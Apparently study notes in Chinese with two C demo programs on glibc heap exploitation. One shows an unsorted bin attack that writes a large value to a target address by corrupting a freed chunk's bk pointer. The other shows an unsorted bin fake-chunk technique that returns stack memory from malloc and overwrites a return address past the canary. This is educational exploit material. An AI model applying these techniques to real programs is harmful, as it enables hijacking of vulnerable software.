1 demo
#include <stdio.h>
#include <stdlib.h>
int main(){
fprintf(stderr, "unsorted bin attack 实现了把一个超级大的数(unsorted bin 的地址)写到一个地方\n");
fprintf(stderr, "实际上这种攻击方法常常用来修改 global_max_fast 来为进一步的 fastbin attack 做准备\n\n");
unsigned long stack_var=0;
fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);
unsigned long *p=malloc(0x410);
fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
malloc(500);
free(p);
fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);
p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);
malloc(0x410);
fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
2
unsigned long stack_var=0;目标写入一个大数
unstored bins是删除的堆无法合并进入top chunk,所以我们创建一个大小为500的堆块防止其并入top chunk
p[1]=(unsigned long)(&stack_var-2);
这一段内容是
将之前p的bk改为stack的fd指针
free后的堆结构
然后就可以通过修改-2也就是0x10的地方修改fd指针
3 demo
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
int main() {
intptr_t stack_buffer[4] = {0};
fprintf(stderr, "先申请 victim chunk\n");
intptr_t* victim = malloc(0x100);
fprintf(stderr, "再申请一块防止与 top chunk 合并\n");
intptr_t* p1 = malloc(0x100);
fprintf(stderr, "把 %p 这块给释放掉, 会被放进 unsorted bin 中\n", victim);
free(victim);
fprintf(stderr, "在栈上伪造一个 chunk");
fprintf(stderr, "设置 size 与指向可写地址的 bk 指针");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;
//------------VULNERABILITY-----------
fprintf(stderr, "假设有一个漏洞可以覆盖 victim 的 size 和 bk 指针\n");
fprintf(stderr, "大小应与下一个请求大小不同,以返回 fake chunk 而不是这个,并且需要通过检查(2*SIZE_SZ 到 av->system_mem)\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
fprintf(stderr, "现在 malloc 的时候将会返回构造的那个 fake chunk 那里: %p\n", &stack_buffer[2]);
char *p2 = malloc(0x100);
fprintf(stderr, "malloc(0x100): %p\n", p2);
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}